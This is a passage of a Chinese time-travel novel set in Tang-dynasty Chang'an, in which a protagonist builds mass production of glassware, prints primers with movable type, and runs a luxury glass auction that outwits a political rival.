“公子,如今之势,如抱金行于市。” 王掌柜在秘密会面时,不无忧虑地对李瑾道,“平板玻璃固然暴利,然产出有限,惹人眼红。那些求而不得的勋贵,私下颇有怨言。萧家那边虽暂时沉寂,但其门下几个豪商,近来频频打听我们原料来源、匠人待遇,恐有不轨。再者,玻璃器物易碎,长途运输损耗亦大,限制了销路。长此以往,恐非善策。”
李瑾静静听着,手指无意识地轻叩桌面。王掌柜所言,正是他思考的问题。平板玻璃是标杆,是打开上层市场的敲门砖,但因其工艺难度和运输不便,注定难以成为支撑工坊长期发展的现金流支柱。他需要一种能量产、易运输、受众更广、利润依然丰厚的“明玻”产品,来将“琉璃”带来的声望和财富,真正沉淀、固化下来。
“王叔所言极是。” 李瑾沉吟道,“平板玻璃是我们的‘脸面’,不能丢,还需继续精进工艺,提高良品率,确保宫中及几位关键人物的供应,维系‘御用’光环。然,工坊欲长久,需有‘筋骨’。这‘筋骨’,便是能够稳定、大量生产,行销天下的玻璃器皿。”
“器皿?” 王掌柜眼睛一亮,“公子是说,杯、盘、碗、瓶、盏之类?”
“正是。” 李瑾点头,“此类器皿,用料相对平板为少,工艺上或可借鉴已有的吹制、压模技术,加以改良,实现标准化、批量化生产。其物晶莹,盛装酒水、果品、乃至化妆品,美观且卫生,不易与金属、漆器起反应,必受青睐。更重要的是,器皿小巧,便于包装运输,可远销洛阳、扬州乃至江南、岭南,市场广阔。只要我们能将成本控制住,以‘明玻’之美名,即便定价不菲,亦不愁销路。”
“批量生产器皿……” 王掌柜陷入思索,“现有的吹制、沾料、模具之法,匠人全凭手感经验,成品大小、厚薄不一,废品亦多。若要‘标准’、‘批量’,恐需在工具、模具、乃至工序上,大动干戈。”
“正是要动。” 李瑾语气坚定,“此事,我已有计较。需成立‘器皿量产组’,从现有玻璃匠人中选拔最善学习、手最稳的,给予重赏,集中培训。我会画一些新式工具和模具的图样,你寻可靠匠人制作。关键是几处……”
他铺开纸笔,边画边说:“其一,改良熔炉和供料。平板玻璃的熔炉追求大而稳,适合出料板。器皿熔炉可小些,但需温度均匀,便于持续取用玻璃液。可设计一种带有多个取料口的‘池炉’,玻璃液在其中澄清、均化,匠人可轮流从不同口取料,不误工时。其二,统一吹制铁管和模具。吹管的长短、口径、壁厚需统一,前端沾取玻璃液的‘料泡’重量,也需大致控制。我会设计一种简易的‘定量勺’或‘称重杆’,辅助匠人取料。模具则需用耐热铸铁,内膛抛光,尺寸精准,并可快速开合、冷却。其三,建立流水工序。将器皿制作分解为:取料、吹小泡、入模吹制(或自由吹制定型)、剪口、烘口(用特制火焰软化边缘)、退火(消除内应力,防止炸裂)等步骤,专人专岗,反复练习,形成肌肉记忆。其四,设立严格质检。每一件成品,需检查气泡、杂质、厚薄、形状、有无暗裂,分等定级,优等供应高端,次等降价处理,残品回炉。”
王掌柜听得连连点头,眼中异彩连连。这等精细分工、标准作业、流程控制的理念,再次超越了他的认知。“公子此法,犹如军中操典,令行禁止,各司其职,长此操练,熟能生巧,产量、质量必可大增!只是……这初期的投入,尤其是模具制作、匠人培训期间的损耗,恐怕不小。”
“投入是必须的。” 李瑾道,“玻璃之利,足以覆盖前期成本。关键是快,要抢在别人模仿、或朝廷可能改变态度之前,形成规模和口碑。此事由你全权负责,从工坊利润中拨出专款,立即着手。匠人待遇从优,但需签更严格的保密契约和长期雇佣契约。模具可先做几套常用器型的,如高足杯、莲花盏、玉壶春瓶、梅瓶、小碟、粉盒等,试产成功,再行扩充。”
“老朽明白!” 王掌柜精神抖擞,“只是……这烧制玻璃,尤其是器皿退火,需大量优质木炭或石炭。长安附近木炭价昂,石炭烟大质杂,恐影响玻璃品质和炉窑寿命。燃料一事,还需设法解决。”
燃料!这确实是卡脖子的难题。唐代主要燃料是木柴和木炭,森林资源虽丰,但大规模工业消耗下,成本飙升、运输不便且不可持续。煤炭(石炭)已开始使用,但多用于取暖和简单冶炼,杂质多,热值不稳定,且燃烧产生大量烟尘和硫化物,对玻璃熔制和窑炉耐火材料都是考验。
李瑾想起了“高炉炼钢”试验中,孙匠师摸索出的“焦炭”烧制法。虽然还不成熟,产量有限,但焦炭热值高、烟少、杂质相对少,或许是更好的选择。“燃料一事,我已有安排。可让冶铁组的孙匠师,将‘焦炭’烧制工艺稍加改进,先小规模供应玻璃坊试用。同时,你派人往河东、陇右等地,寻访优质、易采、运输便利的露天煤场,尝试建立长期的石炭供应,并研究初步的洗选、破碎技术,尽量降低杂质。此事关乎工坊根本,需长远规划。”
两人又商议了一些细节,王掌柜便匆匆返回工坊,开始落实“器皿量产”大计。李瑾则提笔,将关于燃料问题的思考,以及未来可能需要的矿产勘探、初步洗选技术等,写成简要的备忘录,留待日后深入。
“器皿量产组”的组建与培训,在玻璃坊内紧锣密鼓地展开。被选中的二十余名匠人,被集中到新划出的区域,由王掌柜亲自督阵,按照李瑾制定的“工艺流程手册”(图文并茂,由鲁平协助绘制),从最基础的取料重量控制、吹制基本手法开始,进行近乎严苛的标准化训练。特制的定量取料杆、统一的吹管、第一批用新炼“精钢”铸造并精细打磨过的模具也陆续到位。匠人们最初极不适应,习惯了凭经验和手感自由发挥的他们,对这种“刻板”的操作规程多有抱怨,但在“高额熟练奖金”和“淘汰后调离核心岗位、待遇大减”的双重激励下,很快便投入了状态。
李瑾设计的“池炉”也建了起来,虽然不大,但温度控制更稳,取料口的设计减少了匠人间的相互干扰。退火窑则借鉴了陶瓷窑的某些结构,采用阶梯降温,以消除玻璃器皿因冷却不均而产生的内应力,大大降低了成品率。
就在“器皿量产”艰难推进、废品堆积如山之时,文器研造所再次传来好消息。在郑师傅、鲁平等人不懈努力下,第一套相对完整的木活字字库(约两千常用字)宣告完成!虽然字模数量距离覆盖所有典籍还差得远,但用于印刷《千字文》、《百家姓》以及李瑾规划的《农桑辑要(简本)》已是绰绰有余。排版、印刷的流程也经过了多次优化,检字速度、着墨均匀性、压印稳定性都有了显著提升。
李瑾当即指示,用新改良的“印书纸”和活字,先试印一百本《千字文》、一百本《百家姓》。他特别要求,在每本书的扉页,用雕版(整版雕刻)印上“城南周氏工坊敬制”的字样,以及一个简单的、由鲁平设计的工坊徽记(抽象的齿轮与书籍图案)。他要给这些“奇书”,打上独一无二的烙印。
当第一批散发着油墨与纸香、字迹清晰如手抄、装帧简洁大方的小册子送到李瑾面前时,他心中涌起的成就感,甚至超过了看到玻璃镜屏。他随手翻开一本《千字文》,指尖划过整齐划一的字行,仿佛能感受到那即将席卷而来的、知识传播方式变革的隐隐雷鸣。
他让王掌柜将其中一部分,以“工坊新制蒙书,请诸位大人雅正”的名义,赠送给东宫于志宁、崇文馆几位学士、以及长孙无忌、褚遂良等重臣府上。另一部分,则通过隐秘渠道,送入感业寺,交到武曌手中。他在给武曌的密信中写道:“新纸已成,活字初就,蒙书百本,谨奉清览。此物之出,其意深远,非仅蒙童之读。卿可于寺中,借赠经之名,使郭老夫人等‘偶见’之,观其言。长安风雨,或将因之而新。”
他相信,以武曌的敏锐,定能领会其中深意,并善加利用。而朝中那些收到赠书的重臣,看到这种前所未有、整齐划一、成本显然低廉的印刷品,又会作何感想?是惊叹于技艺,还是警惕于其可能带来的变化?
时间在忙碌与期待中,滑入八月。城南工坊“器皿量产组”在经过近一个月的磨合、损耗、调整后,终于迎来了转机。匠人们逐渐习惯了标准化操作,废品率开始显著下降,成品率稳步提升。更重要的是,几种主打器型——如线条流畅的高足杯、造型典雅的玉壶春瓶、小巧玲珑的粉盒、以及模仿莲花形态的盏托——开始能够稳定地产出品质合格、甚至优良的产品。
这一日,李瑾再次秘密来到工坊。在玻璃坊新建的“成品陈列间”内,他看到了令人振奋的景象。长长的榆木桌案上,在明净的平板玻璃窗透入的阳光下,整齐地摆放着数十件刚刚完成退火、经过质检的玻璃器皿。
高足杯亭亭玉立,杯身轻薄均匀,在光线下泛着淡淡的青色光泽,仿佛一掬凝固的秋水。玉壶春瓶曲线优美,瓶腹圆润,瓶颈·细长,通体晶莹,可隐约透视其后景物。粉盒不过掌心大小,盒身与盒盖扣合严密,表面光滑如镜,内里亦经过抛光。莲花盏托则巧妙地将玻璃的透与不透明结合,花瓣层叠,中心承盏处平滑……所有这些器皿,虽然还带着手工制作的细微痕迹,没有后世机制产品那种绝对的规整,但在这个时代,其晶莹剔透、纯净无瑕的美感,已足以令人屏息。
王掌柜拿起一只高足杯,轻轻敲击,发出清脆悠扬的、带着金属质感的声响。“公子您听,这声音,说明退火彻底,内应力已消,不易炸裂。再看这厚薄,” 他将杯子对着光,“均匀透亮,无气泡、无砂眼。按您定的标准,这已是‘甲等’!”
李瑾接过杯子,入手轻盈,触感温润。他走到窗前,将杯子举起,阳光透过杯壁,在桌上投下变幻的光斑。“甚好。王叔,依你看,如今‘甲等’成品,日产可达多少?”
“回公子,高足杯、玉壶春瓶这等稍复杂的,熟练匠人一日可成五六件。粉盒、小碟等简单的,可成十数件。如今合格匠人已有十五人,若全力生产,不计最复杂的,日产‘甲等’器皿百余件,‘乙等’、‘丙等’亦有不少。只是燃料消耗甚巨,尤其是焦炭,孙匠师那边已是全力赶制,仍显不足。石炭洗选刚刚开始,供应不稳。” 王掌柜汇报。
日产百余件合格品!这个数字,放在后世微不足道,但在初唐,在玻璃还是奢侈品的时代,这已经是惊人的产能!足以支撑起一个利润丰厚的产业了。
“产量可逐步提升,匠人还需继续培训,燃料问题要抓紧。” 李瑾放下杯子,目光扫过满桌的晶莹,“现在,是时候让这些‘琉璃器’,去换取真金白银了。王叔,我有一策。”
“公子请讲。”
“我们不直接铺货于市,那样太慢,也容易引来仿制和压价。” 李瑾眼中闪过一丝锐利,“我们举办一场‘赏珍会’。”
“赏珍会?”
“不错。” 李瑾踱步道,“就以‘周氏工坊’答谢贵客、展示新品为名,广发请柬,邀请长安城中有头有脸的勋贵、豪商、文坛名士。地点,就设在工坊内,清理出一处宽敞库房,精心布置。会上,我们不仅展示这些新制的玻璃器皿,还要展示平板玻璃制成的镜屏、妆台,甚至……可以用玻璃器皿盛装我们工坊秘制的花露、香膏,现场品鉴。我们要让所有人亲眼看到、亲手触摸到‘明玻’之美、之奇、之用。然后……”
他顿了顿,嘴角微扬:“然后,现场竞价发售。每次只拿出少量精品,价高者得。我们要的,不仅是卖出货物,更是制造话题,抬升‘周氏明玻’的身价,让拥有它成为真正的荣耀与实力象征。所得款项,除留下工坊发展所需,一部分以‘供奉’、‘敬献’之名送入宫中,一部分打点必要关节,其余的,便是我们实实在在的财富积累。”
王掌柜听得心潮澎湃,他仿佛已经看到了那场“赏珍会”上,权贵豪商们为一件件晶莹剔透的“琉璃”争相出价的火热场面。“公子此计大妙!如此一来,‘周氏明玻’之名,必将响彻长安!只是……这请柬发放,何人可来,还需仔细斟酌,以免得罪不该得罪之人,或引来不必要的麻烦。”
“此事你与于公(于志宁)商议,以东宫和几位重臣的名义发出部分请柬,更显稳妥。名单需仔细拟定,宁缺毋滥。时间就定在八月十五,中秋前夜,月明之夜,以‘琉璃映月’为噱头,更添风雅。” 李瑾早已成竹在胸,“在此之前,工坊全力备货,尤其是精品。我让鲁平再设计几件特别的,如玻璃灯罩、镶嵌玻璃的 multi宝首饰盒,务必让这场‘赏珍会’,一鸣惊人!”
“是!老朽这就去办!” 王掌柜摩拳擦掌,仿佛已经看到了金山银海在向工坊招手。
离开工坊,马车行驶在返回长安城的官道上。李瑾掀开车帘,回望那座在夕阳下轮廓分明的工坊建筑群。那里,熔炉的火光昼夜不熄,高炉的烟囱青烟袅袅,造纸的水车缓缓转动,文器研造所的灯火常常通明。玻璃、钢铁、新纸、活字……一颗颗超越时代的种子,正在这里生根、发芽、抽枝、展叶。
而“琉璃成批量”,不仅仅意味着财富的积累,更意味着他拥有了一个强大而可持续的“造血”机器。有了足够的金钱,他才能支撑更大规模的研发,招募和培养更多的人才,铺设更广的原料和销售网络,甚至……在未来可能的ZZ风波中,拥有更足的底气。
“赏珍会……” 他低声自语,眼中映着天边绚烂的晚霞。这将是“周氏工坊”,也是他李瑾,正式在长安经济与社交舞台上,亮出的第一柄璀璨夺目的、由“琉璃”铸就的利剑。锋芒所向,将是真金白银,更是那无形而强大的影响力。
琉璃光华,即将照亮长安的夜空。而由此聚敛的财富,将成为他实现更多野心的,最坚实的阶梯。
第46章 长安竞价卖
八月中,秋意初显,但长安城的燥热并未完全褪去。然而,比天气更热的,是悄然在顶级权贵圈中流传的一则消息:城南那座神秘的“周氏工坊”,将于八月十五中秋前夜,在其工坊内举办一场别开生面的“琉璃赏珍雅集”,据说将展示并限量发卖一批前所未有的“明玻”珍品,且获邀者非富即贵,需持特制请柬方能入场。
请柬的发放,是王掌柜与于志宁精心策划的结果。以东宫左庶子于志宁、崇文馆几位学士联名,并隐约透出“内廷供奉、工坊新成、特请品鉴”的意思,共计发出了六十八份请柬。收到者,或是与东宫、王皇后一系较为亲近的朝臣勋贵,或是财力雄厚、在商界举足轻重的豪商,以及几位在文坛享有盛名、与工坊有过“赠书”之谊的名士。名单经过反复斟酌,既确保了与会者的分量和购买力,也尽量避免引入可能搅局或心怀叵测之人。当然,某些立场微妙但地位崇高、不宜得罪的人物,如几位皇室宗亲、萧瑀的政敌、乃至与萧淑妃娘家不睦的家族,也收到了请柬,以示“公允”。至于萧瑀本人及其铁杆盟友,则被“遗忘”了。萧瑀虽仍闭门,但其子侄、门下岂能甘心?可以想见,八月十五的工坊之外,必然不会平静。
工坊内部,为这场“赏珍雅集”所做的准备,更是紧锣密鼓,近乎奢华。王掌柜亲自坐镇,指挥人手将玻璃量产一区旁一座最大的成品仓库腾空,彻底清扫,墙壁重新粉刷,地面铺上从江南紧急运来的细篾竹·席。仓库中央,用新制的、带有精美雕花的硬木支架,搭起了数层展示台。展示台四周,悬挂着轻薄如雾的月白纱幔,以工坊自产的、晶莹剔透的玻璃珠作为帘坠。仓库四角,立着数座高大的铜鎏金仙鹤衔灯树,灯盏中灌满工坊特制的、加了香料的透明灯油,届时将点燃,营造出明亮而不刺眼、氤氲着淡香的光晕。最精妙的是,仓库顶棚的数处天窗,被临时换上了透明度极佳的平板玻璃,白日可引天光,夜晚则悬挂特制的玻璃罩灯,确保光线充足,能最大程度地展现“明玻”的晶莹之美。
展示的“珍品”,更是精挑细选,分为数类:
“映月”系列:以平板玻璃制成的各类物件。一面高约五尺、宽三尺的落地山水玻璃插屏,屏芯是请名家绘制的《秋江待月图》,以玻璃覆之,再配以紫檀木雕花座架,华贵清雅。数面大小不一、造型各异的梳妆镜、手持镜,镜框采用金银错、螺钿、玉石等镶嵌,极尽工巧。几盏玻璃罩宫灯,灯罩上蚀刻着缠枝莲纹或飞天图案,内置蜡烛,光影迷离。
“凝霜”系列:新近量产的玻璃器皿精品。一套八只的“高士饮酒杯”,杯身轻薄均匀,杯脚细长挺拔,在灯光下泛着淡淡的、如秋霜般的青色光泽。一对“缠枝莲纹玉壶春瓶”,瓶身曲线曼妙,纯净无瑕。数只“莲瓣承露盏托”,莲花形态逼真,中心承盏处平滑如镜。还有小巧玲珑的粉盒、印泥盒、笔舔等文房清玩,无不晶莹可爱。
“天工”系列:几件特制的、带有“奇巧”性质的玻璃制品。一座利用光的折射原理制作的简易“万花筒”,虽然结构简单,但内里放置了彩色玻璃碎片,转动时能产生千变万化的瑰丽图案,令人称奇。几块不同凹凸弧度的玻璃透镜(放大镜、缩小镜),配合支架,可清晰放大书页或微小物件。还有一套用玻璃管连接、内盛彩色液体、利用热胀冷缩原理制作的简易“温度显示计”,虽然刻度粗糙,原理也解释不清,但其“液柱随冷暖升降”的现象,足以让人啧啧称奇。
“暗香”系列:将玻璃器皿的实用与工坊另一项“副业”——香露、花露水结合。数只造型优美的玻璃瓶中,盛装着工坊以古法结合海外提香术改良制成的“蔷薇清露”、“冷梅凝香”等香水,瓶塞亦用玻璃精心雕琢,密封性极佳。届时将现场开启少许,让淡雅香气弥漫于展示区。
所有展示品都配有简洁雅致的标签,注明名称、材质、工艺特点。王掌柜还专门训练了八名口齿清晰、相貌清秀的少年仆役,穿着统一的月白襕衫,负责引导、讲解(只讲表面特性,绝不涉及工艺)。
压轴的,则是一件尚未公开展示过的、堪称镇场之宝的物件——一面用迄今为止烧制出的最大、最纯净、且经过特殊背面镀银(李瑾提供了模糊的“锡汞齐”蒸镀理念,匠人们经过无数次失败,终于勉强实现了效果,虽然远不如后世玻璃镜,但在这个时代已是惊为天人)处理的“水晶琉璃镜”!这面镜子高约两尺,宽一尺五寸,被镶嵌在一座紫檀木雕云龙纹的镜架中,镜面光可鉴人,纤毫毕现,其清晰度远超任何铜镜,甚至比之前最好的平板玻璃镜(背后涂锡汞)还要清晰数倍!此镜被命名为“朗鉴”,届时将覆盖红绸,置于展示台最中央,作为最后揭晓的惊喜。
八月十五,中秋前夜,天公作美,月朗星稀。戌时初(晚七点),城南工坊外,已是车马喧嚣,冠盖云集。一辆辆装饰华贵的马车在手持灯笼的仆役引导下,有序驶入工坊大门,在专门清理出的空地上停下。受邀的宾客们手持烫金请柬,在工坊仆役的殷勤接待下,步入那座被精心装扮过的仓库“展厅”。
甫一进入,几乎所有宾客都发出了低低的惊叹。明亮柔和的光线,空气中淡雅的香气,四周轻垂的纱幔与晶莹的玻璃珠帘,以及那在灯光下熠熠生辉、仿佛汇聚了月华与星光的各式玻璃制品,构成了一幅梦幻般的景象。许多人是第一次亲眼见到如此多、如此精美的“明玻”汇聚一堂,视觉冲击力无与伦比。
“诸位贵客光临,周某有失远迎,万望海涵!” 王掌柜一身簇新的宝蓝色团花锦袍,满面红光,站在展厅入口处,向鱼贯而入的宾客们团团作揖。他如今是“周氏工坊”明面上的主人,气度俨然。
宾客中,有东宫属官、与于志宁交好的几位朝臣,有杜铭的父亲、时任户部侍郎的杜楚客,有许元瑜及其家族长辈,有几位家资巨万的盐铁、丝绸大贾,也有像郭老夫人之子、左监门将军郭孝恪这等武将勋贵,甚至还有两位郡王和一位长公主家的管事(本人未至,派了心腹代表)。长孙无忌、褚遂良这等重臣自然未亲至,但府中也派了有头脸的管事前来,显然不愿错过这场盛会,也存了观察之意。
于志宁作为东宫代表和联合发起人之一,稍晚一些到场,他的出现,无疑为这场雅集增添了浓厚的官方与文雅色彩。他与几位相熟的朝臣、名士略作寒暄,便与王掌柜一同,引导众人参观展示的珍品。
惊叹声、议论声、询问价码的低声交谈,在展厅内嗡嗡响起。那落地玻璃插屏的恢弘气度,各类镜子的清晰映照,高足杯、玉壶春瓶的玲珑剔透,“万花筒”的奇幻变化,透镜下的微观世界,温度计的“自动”升降,乃至香露瓶开启后飘散的迷人气息……无不令这些见多识广的长安顶级人物大开眼界,心动不已。许多人已经暗中估量着心仪之物的价值,以及自己带来的“本钱”是否足够。
参观约半个时辰后,王掌柜见气氛已然烘托到位,便走到展厅中央一处略高的木台上,清了清嗓子。展厅内渐渐安静下来,所有人的目光都聚焦在他身上。
“承蒙诸位贵客赏光,驾临弊坊这粗陋之地,周某感激不尽!” 王掌柜声音洪亮,面带笑容,“今夜中秋前夜,月华如水,正宜赏珍怡情。诸位方才所见,乃弊坊汇集海外奇技、能工巧匠,经年钻研,偶得之些许微物。本不敢自珍,特呈于诸位雅士之前,聊作赏玩。然物皆有主,美器当配名士。故今夜,周某斗胆,效古之‘唱卖’遗风,将部分珍品,置于此台,请诸位品鉴赏析,若有喜爱者,可出价竞之,价高者得,以为今夜雅集添一助兴之戏,亦不负这些‘明玻’遇见明主之缘。不知诸位意下如何?”
“唱卖”之俗,古已有之,在寺院、市井间时有所闻,但在这等场合、针对如此珍贵的“明玻”进行,却是头一遭。新鲜,刺激,且充满了不确定性。不少宾客眼中露出了跃跃欲试的光芒,尤其是那些豪商,更是摩拳擦掌。
“周坊主客气了,如此奇珍,正当竞价,方显其值!” 一位盐商率先附和。
“有趣有趣,于公,您看……” 有人看向于志宁。
于志宁捻须微笑:“既是雅集助兴,但凭周坊主安排。诸位若有雅兴,不妨一试。”
有了于志宁的默许,气氛更加热烈。王掌柜当即宣布规则:每次拿出一件或一套(不超过三件)珍品,由他唱名、简述特点,宾客可自由出价,每次加价不得低于十贯,上不封顶,直到无人再加,三次询问后落锤,即为成交。成交后,现场立契,货物可当场带走,亦可由工坊稍后送至府上。所用钱帛,需为开元通宝或足色金银,亦可使用东市大柜坊的飞钱票据。
第一件拍品,是一套四只的“高士饮酒杯”(甲等)。起价五十贯。
“六十贯!” 一位经营珠宝的胡商率先出价。
“七十贯!”
“八十贯!”
价格很快被推高,最终被一位江南来的丝绸商以一百二十贯的价格购得。这个价格,已远超同等重量的白银,但购得者面带得色,显然认为物有所值,更是身份的象征。
开门红!现场气氛更加热烈。紧接着,玉壶春瓶、莲瓣盏托、玻璃罩宫灯、乃至那套“万花筒”和透镜,都相继拍出,价格一路攀升。参与竞价的,既有豪商一掷千金,也有勋贵不甘人后,甚至几位文士也为那精巧的文房清玩争抢起来。于志宁、杜楚客等人并未出手,只是含笑旁观,但他们的在场,无疑为竞价提供了某种“背书”。
当那面三尺见方的山水玻璃插屏被抬出,起价定为三百贯时,竞价达到了一个小高潮。数位实力雄厚的买家和两位郡王府的管事争相出价,最终被那位郭孝恪将军以五百五十贯的高价拍下。郭将军是武将,性情豪爽,拍下后哈哈大笑:“此物清雅,正好摆在某家书房,镇一镇某的杀伐之气!” 引得众人一阵善意的笑声。
随着一件件珍品名花有主,现场的气氛愈发热烈,不少人的钱囊也在迅速瘪下去,但眼睛却越来越亮。王掌柜适时地宣布稍事休息,奉上工坊用玻璃杯盛装的冰镇酸梅汤和精致茶点,让众人缓和情绪,也给了那些尚未出手或还想再战的人筹措资金(与同来者拆借、或吩咐随从紧急回去取)的时间。
休息间隙,李瑾隐身在展厅二楼一处用纱帘和屏风隔出的暗阁内,透过特意留出的缝隙,静静观察着下方的一切。他看到杜铭兴奋地与许元瑜低声议论,看到于志宁与几位朝臣从容交谈,也看到萧瑀府上那位不请自来的、面色阴沉的管事(混在某个受邀商人的随从里进来),正眼神闪烁地打量着场中众人和那些玻璃制品。李瑾嘴角泛起一丝冷笑,鱼儿已经闻到腥味,开始躁动了。
休息过后,重头戏开始。王掌柜命人小心翼翼地抬上那面覆盖着红绸的“朗鉴”,置于台中央。
“诸位贵客,接下来,便是今夜赏珍雅集的压轴之宝。” 王掌柜声音带着激动,亲自上前,轻轻拉住红绸一角,“此物,乃弊坊穷尽心血,偶得天工,方得一件。其质至纯,其明如秋水,其鉴毫厘,可正衣冠,可照肝胆,名曰——朗鉴!”
随着他话音落下,红绸被猛地掀开!
“哗——!” 全场瞬间爆发出比之前任何一次都要响亮的、混杂着惊叹、吸气、乃至难以置信的呼声!
明亮的灯光下,那面镶嵌在紫檀云龙架中的巨大玻璃镜,光滑如最平静的湖面,清晰地映照出整个展厅前方的景象,以及靠得最近的宾客们那写满震惊的脸庞!纤毫毕现,甚至连眉毛的走向、衣袍的纹理、乃至瞳孔中倒映的灯火,都清晰可见!这绝非铜镜那模糊昏黄的影像可比,这是一种前所未有的、令人几乎产生“另一个真实空间”错觉的清晰度!
“这……这是何物所制?竟能如此明晰!”
“莫非真是水晶?”
“鬼斧神工!鬼斧神工啊!”
短暂的寂静后,是更加热烈的议论。所有人的目光都被那面“朗鉴”牢牢吸引,许多女眷(随同前来的)更是目不转睛,眼中露出痴迷之色。
“此‘朗鉴’,起价——一千贯!” 王掌柜报出了一个石破天惊的价格。
一千贯!足以在长安购置一处不错宅院的价格!然而,短暂的寂静后,竞价声便如潮水般涌起!
“一千一百贯!”
“一千三百贯!”
“一千五百贯!”
价格以令人心跳加速的速度飙升。几位豪商、两位郡王府管事、甚至一位宗室郡王本人(之前一直未出手)都加入了争夺。价格很快突破了两千贯,并且势头不减。
“两千三百贯!”
“两千五百贯!” 那位江南丝绸商再次高声叫价,脸涨得通红。
“两千八百贯!” 郡王府管事不甘示弱。
就在价格逼近三千贯大关时,一个沉稳的声音响起:“三千贯。”
众人循声望去,竟是于志宁!这位东宫首僚,一直旁观,此刻终于出手了!而且一加就是两百贯,直接将价格推上了三千贯的高峰!
这个价格,显然镇住了大部分竞争者。那位江南丝绸商张了张嘴,最终颓然摇头。郡王府管事也犹豫了,与同伴低声商议。
王掌柜适时喊道:“于公出价三千贯!可还有哪位贵客出价?”
现场一片寂静。许多人看向于志宁,目光复杂。东宫出手,是代表太子?还是皇后?抑或是于公自己喜爱?无论哪种,继续竞价,似乎都有些不妥了。
“三千贯第一次!”
“三千贯第二次!”
就在王掌柜即将喊出第三次时,一个略显尖细的声音从角落响起:“三千五百贯。”
众人愕然望去,只见出声的竟是萧瑀府上那位混进来的阴鸷管事!他此刻站起身,面无表情,对着于志宁的方向略一拱手:“于公,此镜晶莹,我家阿郎(指萧瑀)亦素爱清玩,特命小人前来,务必请回。得罪之处,还望海涵。” 语气看似客气,实则带着挑衅。谁都知道萧瑀闭门,岂会特意派下人来竞买?这分明是借机搅局,恶心东宫,甚至可能是萧淑妃一系在背后指使,想压下东宫的风头!
于志宁眉头微蹙,眼中闪过一丝不悦,但并未发作,只是淡淡道:“既是买卖,价高者得。萧相既也喜爱,老夫不便夺爱。只是,三千五百贯,非同小可,足下可做得主?”
那管事昂首道:“我家阿郎有命,五千贯内,小人均可做主。” 此话一出,更是引得一片低呼。五千贯!这已是许多人难以想象的巨款了!
场面一时僵住。所有人都看出,这已不是简单的竞价,而是东宫与萧氏(背后是萧淑妃)一次隐晦的角力。于志宁若继续加价,难免有“与臣争利”、“耗费国帑(东宫用度)”之嫌;若不加,则面子难免受损。
就在这微妙时刻,二楼暗阁中,李瑾对身边侍立的一名心腹低声吩咐了一句。那心腹迅速下楼,来到王掌柜身边耳语几句。
王掌柜眼中精光一闪,再次上前,朗声道:“诸位,竞价暂停。周某有一言。此‘朗鉴’确系神物,然宝物有灵,亦需有德者居之。今夜雅集,本为赏珍怡情,若因竞价伤了和气,反为不美。周某有个提议,不若将此镜,献于宫中,供陛下、皇后殿下、太子殿下御用,如何?至于竞价,不妨以方才最高价三千五百贯为准,萧府既出此价,便以此价为准,然镜不入萧府,而由弊坊择吉日送入宫中,并言明乃萧相心念君上、慷慨解囊所献。如此一来,宝物得奉天颜,萧相忠君之心可表,东宫亦不必为此等俗物烦心,岂不三全其美?”
此言一出,满场先是愕然,随即不少人露出恍然、赞许之色。这王掌柜(实则是李瑾)端的好手段!既化解了东宫与萧氏的直接冲突,保全了双方(尤其是东宫)的颜面,又将这面稀世宝镜的最终归宿指向了皇帝,谁也说不出不是。萧府管事若再反对,就是不忠;于志宁也无从反对,因为这是“献给陛下”。而那三千五百贯的巨款,名义上由萧府“捐献”,实则落入了工坊口袋,还让萧瑀吃了个哑巴亏——花了天价,镜子没捞着,还得了个“被迫忠君”的名声,心里怕是得憋出内伤。
于志宁何等人物,瞬间明白了其中关节,深深看了王掌柜一眼,捋须点头:“周坊主此言甚善。宝物献于陛下,正是臣子本分。萧相忠君体国,令人感佩。” 他直接将“捐献”定性为萧瑀的“忠君体国”。
那萧府管事脸色一阵红一阵白,他接到的指令本是搅局、压价、最好能拍下,万没想到对方来了这么一手。此时众目睽睽,又有“献于陛下”的大义名分,他若敢说个不字,明日萧瑀“不忠”的流言就能传遍长安。他咬了咬牙,最终只能僵硬地拱手:“周坊主……高义。小人代我家阿郎,谢过坊主周全。” 这话说得,简直是从牙缝里挤出来的。
一场潜在的危机,被巧妙化解,还让工坊名利双收(巨款到手,献宝之功),更在皇帝和众人面前展现了“识大体、顾大局”。现场气氛重新缓和,甚至更加热烈,众人对“周氏工坊”的背景和手腕,有了新的认识。
“朗鉴”的归属尘埃落定,今夜雅集也接近尾声。最终清算下来,除“朗鉴”外,其余拍品共得钱两千七百余贯,加上“朗鉴”的三千五百贯,一夜之间,工坊狂揽超过六千贯的巨额财富!这还不算那些未拍出、但已被预订的货品。
宾客们陆续满意(或不甘)地离去,带着购得的珍品,也带着一夜的震撼与谈资。可以想见,明日开始,“周氏工坊”与“明玻”之名,将真正响彻长安,其财富与影响力,也将随之跃升至一个新的高度。
李瑾在暗阁中,望着逐渐空旷的展厅,心中并无太多激动,只有一片冷静的清明。钱,只是工具,是砝码。今夜之会,不仅收获了巨款,更成功地展示了肌肉,试探了各方反应,巩固了与东宫的纽带,还顺势敲打了潜在的对手。
“长安竞价卖,一鸣惊人。” 他低声自语,目光穿透窗棂,望向工坊外灯火阑珊的夜色,以及天边那轮即将圆满的明月。财富的洪流已经开始涌动,而他要做的,是驾驭这洪流,去冲击更坚固的堤坝,灌溉更广阔的田野。
工坊的辉煌一夜,只是开始。真正的风暴,或许正随着这笔巨额财富的聚集,以及“明玻”引发的贪婪与忌惮,悄然酝酿。
第47章 旧贵怒且惊
“周氏工坊”中秋前夜“赏珍雅集”的盛况与天价成交的“朗鉴”,如同投入滚油中的冷水,瞬间在长安城最顶层的圈子里炸开了锅。六千余贯的巨额收入,一夜之间汇聚于一个名不见经传的“江南商人”之手,这本身已是令人瞠目结舌的财富神话。而“朗鉴”最终以“萧瑀献于陛下”的戏剧性方式收场,更是为这场雅集增添了无数可供咀嚼的谈资与遐想。长安的贵胄、豪商、文士,乃至市井小民,都在津津乐道着那夜“明玻”的璀璨、竞价的狂热,以及最后那场不动声色的机锋较量。“周氏工坊”与“明玻”之名,以最快的速度,穿透了坊墙的阻隔,成为长安城八月末最炙手可热的话题。
然而,灼热的目光背后,并不仅仅是羡慕与惊叹。当“明玻”的暴利以一种近乎蛮横的姿态展现在众人面前,当“周氏工坊”凭借奇技与财富,隐隐有打破某些既有利益格局和身份藩篱的势头时,那些盘踞在旧有秩序顶端的势力,感受到的便不再是新奇,而是如芒在背的威胁与难以遏制的愠怒。
